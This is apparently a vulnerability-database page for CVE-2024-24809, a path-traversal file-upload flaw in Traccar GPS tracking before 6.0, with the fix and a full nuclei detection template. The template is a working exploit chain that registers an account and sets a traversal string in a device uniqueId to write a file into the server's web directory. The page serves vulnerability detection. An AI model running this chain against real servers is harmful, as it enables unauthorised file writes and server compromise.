HexBrain

Browse / CVEs / CVE-2024-24809

CVE-2024-24809· traccar / traccar· CWE-27

Traccar - Unrestricted File Upload

highseverity
8.5CVSS score
54.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.

Impact

Authenticated attackers can upload arbitrary files to any location on the server through path traversal, potentially achieving code execution and system compromise.

Fix

Update Traccar to version 6.0 or later.

How to confirm it

Send: POST /api/users
Positive when: contains "\"administrator\":" and "\"fixedEmail\""
Send: POST /api/session
Positive when: contains "\"deviceReadonly\":" and "\"expirationTime\":"
Send: POST /api/devices
Positive when: contains "\"calendarId\"" and "\"groupId\":"
Send: POST /api/devices/{{value}}/image
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: PUT /api/devices/{{value}}
Positive when: contains "\"deviceImage\":" and "\"expirationTime\":"
Send: POST /api/devices/{{value}}/image
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: GET /{{filename}}
Positive when: status_code == 200

Run it with nuclei: nuclei -id CVE-2024-24809 -u <target>

The full check
id: CVE-2024-24809

info:
  name: Traccar - Unrestricted File Upload
  author: DhiyaneshDK
  severity: high
  description: |
    Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
  impact: |
    Authenticated attackers can upload arbitrary files to any location on the server through path traversal, potentially achieving code execution and system compromise.
  remediation: |
    Update Traccar to version 6.0 or later.
  reference:
    - https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901
    - https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24809
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
    cvss-score: 8.5
    cve-id: CVE-2024-24809
    cwe-id: CWE-27
    epss-score: 0.54413
    epss-percentile: 0.99022
    cpe: cpe:2.3:a:traccar:traccar:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Traccar"
    product: traccar
    vendor: traccar
  tags: cve,cve2024,traccar,rce,intrusive,file-upload,vuln,vkev

variables:
  name: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  unique: "{{rand_base(6)}}"
  str: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  - raw:
      - |
        POST /api/users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}

    matchers:
      - type: word
        part: body
        words:
          - '"administrator":'
          - '"fixedEmail"'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

        email={{email}}&password={{password}}

    matchers:
      - type: word
        part: body
        words:
          - '"deviceReadonly":'
          - '"expirationTime":'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/devices HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{unique}}", "uniqueId": "{{unique}}"}

    matchers:
      - type: word
        part: body
        words:
          - '"calendarId"'
          - '"groupId":'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: value
        internal: true
        json:
          - '.id'

  - raw:
      - |
        POST /api/devices/{{value}}/image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: image/srHtgGrc

        {{str}}

    extractors:
      - type: regex
        part: body
        name: filename
        internal: true
        regex:
          - 'device\.([a-zA-Z]+)'

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        PUT /api/devices/{{value}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}

    matchers:
      - type: word
        part: body
        words:
          - '"deviceImage":'
          - '"expirationTime":'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/devices/{{value}}/image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: image/srHtgGrc

        {{str}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200

References

Use this check only on systems you are authorised to test. Where the data comes from